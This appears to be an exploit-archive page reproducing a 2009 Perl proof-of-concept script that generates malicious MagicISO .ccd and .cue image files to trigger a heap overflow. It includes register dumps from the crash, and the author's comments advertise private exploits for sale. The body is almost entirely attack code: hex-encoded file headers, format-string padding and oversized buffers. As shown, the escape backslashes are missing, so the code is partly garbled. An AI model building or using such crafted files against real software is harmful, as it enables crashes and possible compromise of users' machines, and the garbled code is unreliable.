[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MagicISO CCD/Cue Local Heap Overflow Exploit PoC
# Published : 2009-04-16
# Author : Stack
# Previous Title : Apollo 37zz (M3u File) Local Heap Overflow PoC
# Next Title : MS Windows Media Player (.mid File) Integer Overflow PoC


#!/usr/bin/perl
#
# MagicISO CCD/Cue Local Heap Overflow Exploit Poc
# ----------------------------------------------------------------
# Mountassif Moad 
# Stack ..
# Cyber-Zone .. 
#
# Private exploits for Kayako, contact me if anyone want buy it :d
#
# WARNING: Author has no responsibility over the damage done
# Probably impossible to exploit, but who knows? -_-' 
# Regiter for ccd
# EAX 44444141
# ECX 45459090
# EDX 90904443
# EBX 4545A094
# ESP 0012F3A0
# EBP 0012F3C4
# ESI 013AE64C
# EDI 013AF650
# EIP 005C04CE MagicISO.005C04CE
# Rgister for cue 
# EAX 0012F5D4
# ECX 013B0000
# EDX 013ADDFC ASCII "FILE "999Ax%N%N%N%N%N%N%N08495d565ef66e7dff9f98764daAAAAAAAAAAAAAA...."
# EBX 00001241 EBc overwrited 41 
# ESP 0012F4D8
# EBP 0012F4E4
# ESI 00001200
# EDI 00000000
# EIP 0047FE91 MagicISO.0047FE91
# Crash 
sub help {print "[!] usage :   n    perl $0 .cpp n    perl $0 .cue n  " ;exit();}
&help
unless $ARGV[0];
my $xpl = $ARGV[0];
my $header =  
            "x5Bx43x6Cx6Fx6Ex65x43x44x5Dx0Dx0Ax56x65x72x73x69".
            "x6Fx6Ex3Dx33x0Dx0Ax5Bx44x69x73x63x5Dx0Dx0Ax54x6F".
            "x63x45x6Ex74x72x69x65x73x3Dx34x0Dx0Ax53x65x73x73".
            "x69x6Fx6Ex73x3Dx31x0Dx0Ax44x61x74x61x54x72x61x63".
            "x6Bx73x53x63x72x61x6Dx62x6Cx65x64x3Dx30x0Dx0Ax43".
            "x44x54x65x78x74x4Cx65x6Ex67x74x68x3Dx30x0Dx0Ax5B".
            "x53x65x73x73x69x6Fx6Ex20x31x5Dx0Dx0Ax50x72x65x47".
            "x61x70x4Dx6Fx64x65x3Dx31x0Dx0Ax50x72x65x47x61x70".
            "x53x75x62x43x3Dx30x0Dx0Ax5Bx45x6Ex74x72x79x20x30".
            "x5Dx0Dx0Ax53x65x73x73x69x6Fx6Ex3Dx31x0Dx0Ax50x6F".
            "x69x6Ex74x3Dx30x78x61x30x0Dx0Ax41x44x52x3Dx30x78".
            "x30x31x0Dx0Ax43x6Fx6Ex74x72x6Fx6Cx3Dx30x78x30x34".
            "x0Dx0Ax54x72x61x63x6Bx4Ex6Fx3Dx30x0Dx0Ax41x4Dx69".
            "x6Ex3Dx30x0Dx0Ax41x53x65x63x3Dx30x0Dx0Ax41x46x72".
            "x61x6Dx65x3Dx30x0Dx0Ax41x4Cx42x41x3Dx2Dx31x35x30".
            "x0Dx0Ax5Ax65x72x6Fx3Dx30x0Dx0Ax50x4Dx69x6Ex3Dx31".
            "x0Dx0Ax50x53x65x63x3Dx30x0Dx0Ax50x46x72x61x6Dx65".
            "x3Dx30x0Dx0Ax50x4Cx42x41x3Dx34x33x35x30x0Dx0Ax5B".
            "x45x6Ex74x72x79x20x31x5Dx0Dx0Ax53x65x73x73x69x6F".
            "x6Ex3Dx31x0Dx0Ax50x6Fx69x6Ex74x3Dx30x78x61x31x0D".
            "x0Ax41x44x52x3Dx30x78x30x31x0Dx0Ax43x6Fx6Ex74x72".
            "x6Fx6Cx3Dx30x78x30x34x0Dx0Ax54x72x61x63x6Bx4Ex6F".
            "x3Dx30x0Dx0Ax41x4Dx69x6Ex3Dx30x0Dx0Ax41x53x65x63".
            "x3Dx30x0Dx0Ax41x46x72x61x6Dx65x3Dx30x0Dx0Ax41x4C".
            "x42x41x3Dx2Dx31x35x30x0Dx0Ax5Ax65x72x6Fx3Dx30x0D".
            "x0Ax50x4Dx69x6Ex3Dx31x0Dx0Ax50x53x65x63x3Dx30x0D".
            "x0Ax50x46x72x61x6Dx65x3Dx30x0Dx0Ax50x4Cx42x41x3D".
            "x34x33x35x30x0Dx0Ax5Bx45x6Ex74x72x79x20x32x5Dx0D".
            "x0Ax53x65x73x73x69x6Fx6Ex3Dx31x0Dx0Ax50x6Fx69x6E".
            "x74x3Dx30x78x61x32x0Dx0Ax41x44x52x3Dx30x78x30x31".
            "x0Dx0Ax43x6Fx6Ex74x72x6Fx6Cx3Dx30x78x30x34x0Dx0A".
            "x54x72x61x63x6Bx4Ex6Fx3Dx30x0Dx0Ax41x4Dx69x6Ex3D".
            "x30x0Dx0Ax41x53x65x63x3Dx30x0Dx0Ax41x46x72x61x6D".
            "x65x3Dx30x0Dx0Ax41x4Cx42x41x3Dx2Dx31x35x30x0Dx0A".
            "x5Ax65x72x6Fx3Dx30x0Dx0Ax50x4Dx69x6Ex3Dx30x0Dx0A".
            "x50x53x65x63x3Dx32x0Dx0Ax50x46x72x61x6Dx65x3Dx33".
            "x34x0Dx0Ax50x4Cx42x41x3Dx33x34x0Dx0Ax5Bx45x6Ex74".
            "x72x79x20x33x5Dx0Dx0Ax53x65x73x73x69x6Fx6Ex3Dx31".
            "x0Dx0Ax50x6Fx69x6Ex74x3Dx30x78x30x31x0Dx0Ax41x44".
            "x52x3Dx30x78x30x31x0Dx0Ax43x6Fx6Ex74x72x6Fx6Cx3D".
            "x30x78x30x34x0Dx0Ax54x72x61x63x6Bx4Ex6Fx3Dx30x0D".
            "x0Ax41x4Dx69x6Ex3Dx30x0Dx0Ax41x53x65x63x3Dx30x0D".
            "x0Ax41x46x72x61x6Dx65x3Dx30x0Dx0Ax41x4Cx42x41x3D".
            "x2Dx31x35x30x0Dx0Ax5Ax65x72x6Fx3Dx30x0Dx0Ax50x4D".
            "x69x6Ex3Dx30x0Dx0Ax50x53x65x63x3Dx32x0Dx0Ax50x46".
            "x72x61x6Dx65x3Dx30x0Dx0Ax50x4Cx42x41x3Dx30x0Dx0A".
            "x5Bx54x52x41x43x4Bx20x31x5Dx0Dx0Ax4Dx4Fx44x45x3D".
            "x31x0Dx0Ax49x4Ex44x45x58x20x31x3Dx39x39x39";
   
   
my $header1=    
            "x46x49x4cx45x20x22";
my $header2=
            "x2ex42x49x4ex22x20x42x49x4ex41x52x59x0dx0ax20".
            "x54x52x41x43x4bx20x30x31x20x4dx4fx44x45x31x2fx32".
            "x33x35x32x0dx0ax20x20x20x49x4ex44x45x58x20x30x31".
            "x20x30x30x3ax30x30x3ax30x30";
   
my $bypass=
"x39x39x39x41x78x25x4ex25x4ex25x4ex25x4ex25x4ex25".
"x4ex25x4ex25x4ex25x4ex25x4ex25x4ex25x25x4ex25x4e".
"x25x4ex25x4ex41x63x66x63x64x32x30x38x34x39x35x64".
"x35x36x35x65x66x36x36x65x37x64x66x66x39x66x39x38".
"x37x36x34x64x61x63x34x63x61x34x32x33x38x61x30";
my $edx = "x43x43x43x43";
my $Bof = "x41" x 4004;
my $eax = "x44x44x44x44";
my $Nop = "x90" x 4;
my $ecx = "x45x45x45x45";
my $Sop = "x91" x 20;
my $Hof = "x46" x 5000;

if ($xpl eq '.ccd')
{open(file,'>Exploit.ccd');print file $header.$bypass.$edx.$Bof.$eax.$Nop.$ecx.$Sop.$Hof;close(file);print "[!] Done n";}
elsif ($xpl eq '.cue')
{open(file,'>Exploit.cue');print file $header1.$bypass.$edx.$Bof.$eax.$Nop.$ecx.$Sop.$Hof.$header2;close(file);print "[!] Done n"}
else {&help}

# www.Syue.com [2009-04-16]